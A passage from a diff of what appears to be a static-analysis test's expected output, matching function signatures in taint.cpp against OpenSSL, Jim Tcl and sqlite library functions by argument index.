taint.cpp:100:6:100:15 | array_test | (int) | | ASN1_tag2str | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | EVP_PKEY_asn1_get0 | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | Jim_ReturnCode | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | Jim_SignalId | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | OBJ_nid2ln | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | OBJ_nid2obj | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | OBJ_nid2sn | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | OSSL_STORE_INFO_type_string | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | OSSL_trace_get_category_name | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | PKCS12_init | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | Symbol_Nth | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | X509_PURPOSE_get0 | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | X509_PURPOSE_get_by_id | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | X509_TRUST_get0 | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | X509_TRUST_get_by_id | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | evp_pkey_type2name | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | ossl_cmp_bodytype_to_string | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | ossl_tolower | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | ossl_toupper | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | sqlite3_compileoption_get | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | sqlite3_errstr | 0 | +| taint.cpp:100:6:100:15 | array_test | (int) | | tls13_alert_code | 0 | +| taint.cpp:142:5:142:10 | select | (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 1 | +| taint.cpp:142:5:142:10 | select | (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_BIT_STRING *,unsigned char *,int) | | ASN1_BIT_STRING_set | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_OCTET_STRING **,const unsigned char *,int) | | ossl_cmp_asn1_octet_string_set1_bytes | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_OCTET_STRING *,const unsigned char *,int) | | ASN1_OCTET_STRING_set | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_STRING *,const void *,int) | | ASN1_STRING_set | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_STRING *,void *,int) | | ASN1_STRING_set0 | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_TIME *,tm *,int) | | ossl_asn1_time_from_tm | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_TYPE *,unsigned char *,int) | | ASN1_TYPE_set_octetstring | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_item_embed_free | 2 | +| taint.cpp:142:5:142:10 | select | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_primitive_free | 2 | +| taint.cpp:142:5:142:10 | select | (BIGNUM *,const BIGNUM *,int) | | BN_lshift | 2 | +| taint.cpp:142:5:142:10 | select | (BIGNUM *,const BIGNUM *,int) | | BN_rshift | 2 | +| taint.cpp:142:5:142:10 | select | (BIGNUM *,const BIGNUM *,int) | | BN_with_flags | 2 | +| taint.cpp:142:5:142:10 | select | (BIGNUM *,const BIGNUM *,int) | | bn_lshift_fixed_top | 2 | +| taint.cpp:142:5:142:10 | select | (BIGNUM *,const BIGNUM *,int) | | bn_rshift_fixed_top | 2 | +| taint.cpp:142:5:142:10 | select | (BIGNUM *,const unsigned long *,int) | | bn_set_static_words | 2 | +| taint.cpp:142:5:142:10 | select | (BIGNUM *,const unsigned long *,int) | | bn_set_words | 2 | +| taint.cpp:142:5:142:10 | select | (BIO *,BIO *,int) | | OSSL_HTTP_REQ_CTX_new | 2 | +| taint.cpp:142:5:142:10 | select | (BIO *,BIO *,int) | | SMIME_crlf_copy | 2 | +| taint.cpp:142:5:142:10 | select | (BIO *,GENERAL_NAMES *,int) | | OSSL_GENERAL_NAMES_print | 2 | +| taint.cpp:142:5:142:10 | select | (BIO *,char *,int) | | BIO_get_line | 2 | +| taint.cpp:142:5:142:10 | select | (BIO *,const DSA *,int) | | DSA_print | 2 | +| taint.cpp:142:5:142:10 | select | (BIO *,const RSA *,int) | | RSA_print | 2 | +| taint.cpp:142:5:142:10 | select | (CERT *,X509_STORE **,int) | | ssl_cert_get_cert_store | 2 | +| taint.cpp:142:5:142:10 | select | (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 2 | +| taint.cpp:142:5:142:10 | select | (DH *,const OSSL_PARAM[],int) | | ossl_dh_key_fromdata | 2 | +| taint.cpp:142:5:142:10 | select | (DSA *,const OSSL_PARAM[],int) | | ossl_dsa_key_fromdata | 2 | +| taint.cpp:142:5:142:10 | select | (ECX_KEY *,const OSSL_PARAM[],int) | | ossl_ecx_key_fromdata | 2 | +| taint.cpp:142:5:142:10 | select | (EC_KEY *,const OSSL_PARAM[],int) | | ossl_ec_key_fromdata | 2 | +| taint.cpp:142:5:142:10 | select | (ENGINE *,ENGINE_DYNAMIC_ID,int) | | engine_add_dynamic_id | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_export_to_provider | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_find_operation_cache | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY *,EVP_PKEY *,int) | | evp_keymgmt_util_copy | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,EVP_PKEY *,int) | | EVP_PKEY_derive_set_peer_ex | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_hkdf_info | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_tls1_prf_seed | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_key | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_salt | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_scrypt_salt | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_tls1_prf_secret | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set_mac_key | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,const void *,int) | | EVP_PKEY_CTX_set1_id | 2 | +| taint.cpp:142:5:142:10 | select | (EVP_PKEY_CTX *,int *,int) | | EVP_PKEY_CTX_set0_keygen_info | 2 | +| taint.cpp:142:5:142:10 | select | (FFC_PARAMS *,unsigned int,int) | | ossl_ffc_params_enable_flags | 2 | +| taint.cpp:142:5:142:10 | select | (FILE *,const DSA *,int) | | DSA_print_fp | 2 | +| taint.cpp:142:5:142:10 | select | (FILE *,const RSA *,int) | | RSA_print_fp | 2 | +| taint.cpp:142:5:142:10 | select | (FILE *,rule *,int) | | RulePrint | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetCommand | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetGlobalVariable | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetVariable | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,Jim_Obj *,int) | | Jim_ListGetIndex | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,Jim_Obj *,int) | | Jim_UnsetVariable | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewDictObj | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewListObj | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,char *,int) | | Jim_NewStringObjNoAlloc | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 2 | +| taint.cpp:142:5:142:10 | select | (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_BASICRESP *,OCSP_CERTID *,int) | | OCSP_resp_find | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_BASICRESP *,X509_EXTENSION *,int) | | OCSP_BASICRESP_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_BASICRESP *,const ASN1_OBJECT *,int) | | OCSP_BASICRESP_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_ONEREQ *,X509_EXTENSION *,int) | | OCSP_ONEREQ_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_ONEREQ *,const ASN1_OBJECT *,int) | | OCSP_ONEREQ_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_REQUEST *,X509_EXTENSION *,int) | | OCSP_REQUEST_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_REQUEST *,const ASN1_OBJECT *,int) | | OCSP_REQUEST_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_SINGLERESP *,X509_EXTENSION *,int) | | OCSP_SINGLERESP_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_SINGLERESP *,const ASN1_OBJECT *,int) | | OCSP_SINGLERESP_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (OPENSSL_STACK *,const void *,int) | | OPENSSL_sk_insert | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_referenceValue | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_secretValue | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 1 | +| taint.cpp:142:5:142:10 | select | (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_PROVIDER *,OSSL_PROVIDER **,int) | | ossl_provider_add_to_store | 2 | +| taint.cpp:142:5:142:10 | select | (OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int) | | ossl_qrl_enc_level_set_get | 2 | +| taint.cpp:142:5:142:10 | select | (PKCS7 *,stack_st_X509 *,int) | | PKCS7_get0_signers | 2 | +| taint.cpp:142:5:142:10 | select | (POLICYINFO *,const ASN1_OBJECT *,int) | | ossl_policy_data_new | 2 | +| taint.cpp:142:5:142:10 | select | (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 2 | +| taint.cpp:142:5:142:10 | select | (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 2 | +| taint.cpp:142:5:142:10 | select | (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 2 | +| taint.cpp:142:5:142:10 | select | (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 2 | +| taint.cpp:142:5:142:10 | select | (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 2 | +| taint.cpp:142:5:142:10 | select | (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 2 | +| taint.cpp:142:5:142:10 | select | (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 2 | +| taint.cpp:142:5:142:10 | select | (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 2 | +| taint.cpp:142:5:142:10 | select | (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 2 | +| taint.cpp:142:5:142:10 | select | (SSL *,const void *,int) | | SSL_write | 2 | +| taint.cpp:142:5:142:10 | select | (SSL *,void *,int) | | SSL_peek | 2 | +| taint.cpp:142:5:142:10 | select | (SSL *,void *,int) | | SSL_read | 2 | +| taint.cpp:142:5:142:10 | select | (SSL *,void *,int) | | SSL_set_session_ticket_ext | 2 | +| taint.cpp:142:5:142:10 | select | (SSL_CIPHER *,const SSL_CIPHER *,int) | | OBJ_bsearch_ssl_cipher_id | 2 | +| taint.cpp:142:5:142:10 | select | (SSL_CONNECTION *,PACKET *,int) | | ssl_cache_cipherlist | 2 | +| taint.cpp:142:5:142:10 | select | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_close_construct_packet | 2 | +| taint.cpp:142:5:142:10 | select | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_set_handshake_header | 2 | +| taint.cpp:142:5:142:10 | select | (SSL_CONNECTION *,WPACKET *,int) | | tls_close_construct_packet | 2 | +| taint.cpp:142:5:142:10 | select | (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 1 | +| taint.cpp:142:5:142:10 | select | (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 2 | +| taint.cpp:142:5:142:10 | select | (TS_MSG_IMPRINT *,unsigned char *,int) | | TS_MSG_IMPRINT_set_msg | 2 | +| taint.cpp:142:5:142:10 | select | (TS_REQ *,X509_EXTENSION *,int) | | TS_REQ_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (TS_REQ *,const ASN1_OBJECT *,int) | | TS_REQ_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (TS_TST_INFO *,X509_EXTENSION *,int) | | TS_TST_INFO_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (TS_TST_INFO *,const ASN1_OBJECT *,int) | | TS_TST_INFO_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (X509 *,X509_EXTENSION *,int) | | X509_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (X509 *,int,int) | | X509_check_purpose | 1 | +| taint.cpp:142:5:142:10 | select | (X509 *,int,int) | | X509_check_purpose | 2 | +| taint.cpp:142:5:142:10 | select | (X509 *,int,int) | | X509_check_trust | 1 | +| taint.cpp:142:5:142:10 | select | (X509 *,int,int) | | X509_check_trust | 2 | +| taint.cpp:142:5:142:10 | select | (X509_CRL *,X509_EXTENSION *,int) | | X509_CRL_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (X509_PUBKEY *,unsigned char *,int) | | X509_PUBKEY_set0_public_key | 2 | +| taint.cpp:142:5:142:10 | select | (X509_REVOKED *,X509_EXTENSION *,int) | | X509_REVOKED_add_ext | 2 | +| taint.cpp:142:5:142:10 | select | (X509_STORE_CTX *,X509 *,int) | | ossl_x509_check_cert_time | 2 | | taint.cpp:142:5:142:10 | select | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 | | taint.cpp:142:5:142:10 | select | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 2 | +| taint.cpp:142:5:142:10 | select | (action *,FILE *,int) | | PrintAction | 2 | +| taint.cpp:142:5:142:10 | select | (acttab *,int,int) | | acttab_action | 1 | +| taint.cpp:142:5:142:10 | select | (acttab *,int,int) | | acttab_action | 2 | +| taint.cpp:142:5:142:10 | select | (const ASN1_VALUE *,const ASN1_TEMPLATE *,int) | | ossl_asn1_do_adb | 2 | +| taint.cpp:142:5:142:10 | select | (const BIGNUM *,int[],int) | | BN_GF2m_poly2arr | 2 | +| taint.cpp:142:5:142:10 | select | (const BIGNUM *,unsigned char *,int) | | BN_bn2binpad | 2 | +| taint.cpp:142:5:142:10 | select | (const BIGNUM *,unsigned char *,int) | | BN_bn2lebinpad | 2 | +| taint.cpp:142:5:142:10 | select | (const BIGNUM *,unsigned char *,int) | | BN_bn2nativepad | 2 | +| taint.cpp:142:5:142:10 | select | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2bin | 2 | +| taint.cpp:142:5:142:10 | select | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2lebin | 2 | +| taint.cpp:142:5:142:10 | select | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2native | 2 | +| taint.cpp:142:5:142:10 | select | (const CMS_ContentInfo *,BIO *,int) | | ossl_cms_DigestedData_do_final | 2 | +| taint.cpp:142:5:142:10 | select | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_signed_get_attr_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_unsigned_get_attr_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const EVP_MD *,const EVP_MD *,int) | | ossl_rsa_pss_params_create | 2 | +| taint.cpp:142:5:142:10 | select | (const EVP_PKEY *,const ASN1_OBJECT *,int) | | EVP_PKEY_get_attr_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const OSSL_PARAM *,BIO *,int) | | OSSL_PARAM_print_to_bio | 2 | +| taint.cpp:142:5:142:10 | select | (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 2 | +| taint.cpp:142:5:142:10 | select | (const SSL *,char *,int) | | SSL_get_shared_ciphers | 2 | +| taint.cpp:142:5:142:10 | select | (const SSL *,int,int) | | apps_ssl_info_callback | 1 | +| taint.cpp:142:5:142:10 | select | (const SSL *,int,int) | | apps_ssl_info_callback | 2 | +| taint.cpp:142:5:142:10 | select | (const SSL_CIPHER *,char *,int) | | SSL_CIPHER_description | 2 | +| taint.cpp:142:5:142:10 | select | (const X509 *,const ASN1_OBJECT *,int) | | X509_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_new_init | 2 | +| taint.cpp:142:5:142:10 | select | (const X509 *,int,int) | | X509_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const X509 *,int,int) | | X509_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const X509 *,int,int) | | X509_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (const X509 *,int,int) | | X509_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_ACERT *,const ASN1_OBJECT *,int) | | X509_ACERT_get_attr_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_CRL *,const ASN1_OBJECT *,int) | | X509_CRL_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_CRL *,const X509 *,int) | | OSSL_CMP_CRLSTATUS_create | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_NAME *,char *,int) | | X509_NAME_oneline | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_NAME *,const ASN1_OBJECT *,int) | | X509_NAME_get_index_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_REQ *,const ASN1_OBJECT *,int) | | X509_REQ_get_attr_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_REVOKED *,const ASN1_OBJECT *,int) | | X509_REVOKED_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 2 | +| taint.cpp:142:5:142:10 | select | (const char *,const OSSL_PARAM *,int) | | print_param_types | 2 | +| taint.cpp:142:5:142:10 | select | (const char *,const char *,int) | | CRYPTO_strdup | 2 | +| taint.cpp:142:5:142:10 | select | (const char *,const char *,int) | | sqlite3_strnicmp | 2 | +| taint.cpp:142:5:142:10 | select | (const char *,long *,int) | | Jim_StringToWide | 2 | +| taint.cpp:142:5:142:10 | select | (const char *,sqlite3_filename,int) | | sqlite3_uri_key | 2 | +| taint.cpp:142:5:142:10 | select | (const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int) | | X509at_get_attr_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int) | | X509v3_get_ext_by_OBJ | 2 | +| taint.cpp:142:5:142:10 | select | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_NID | 1 | +| taint.cpp:142:5:142:10 | select | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_NID | 2 | +| taint.cpp:142:5:142:10 | select | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 1 | +| taint.cpp:142:5:142:10 | select | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 2 | +| taint.cpp:142:5:142:10 | select | (const unsigned char **,unsigned int,int) | | ossl_b2i_DSA_after_header | 2 | +| taint.cpp:142:5:142:10 | select | (const unsigned char **,unsigned int,int) | | ossl_b2i_RSA_after_header | 2 | +| taint.cpp:142:5:142:10 | select | (const void *,const void *,int) | | ossl_is_partially_overlapping | 2 | +| taint.cpp:142:5:142:10 | select | (int,BIO_ADDR *,int) | | BIO_accept_ex | 2 | +| taint.cpp:142:5:142:10 | select | (int,int,int) | | ASN1_object_size | 0 | +| taint.cpp:142:5:142:10 | select | (int,int,int) | | ASN1_object_size | 1 | +| taint.cpp:142:5:142:10 | select | (int,int,int) | | ASN1_object_size | 2 | +| taint.cpp:142:5:142:10 | select | (int,int,int) | | EVP_CIPHER_meth_new | 0 | +| taint.cpp:142:5:142:10 | select | (int,int,int) | | EVP_CIPHER_meth_new | 1 | +| taint.cpp:142:5:142:10 | select | (int,int,int) | | EVP_CIPHER_meth_new | 2 | +| taint.cpp:142:5:142:10 | select | (regex_t *,const char *,int) | | jim_regcomp | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3 *,const char *,int) | | sqlite3_overload_function | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3 *,int,int) | | sqlite3_limit | 1 | +| taint.cpp:142:5:142:10 | select | (sqlite3 *,int,int) | | sqlite3_limit | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3_context *,const char *,int) | | sqlite3_result_error | 2 | +| taint.cpp:142:5:142:10 | select | (sqlite3_context 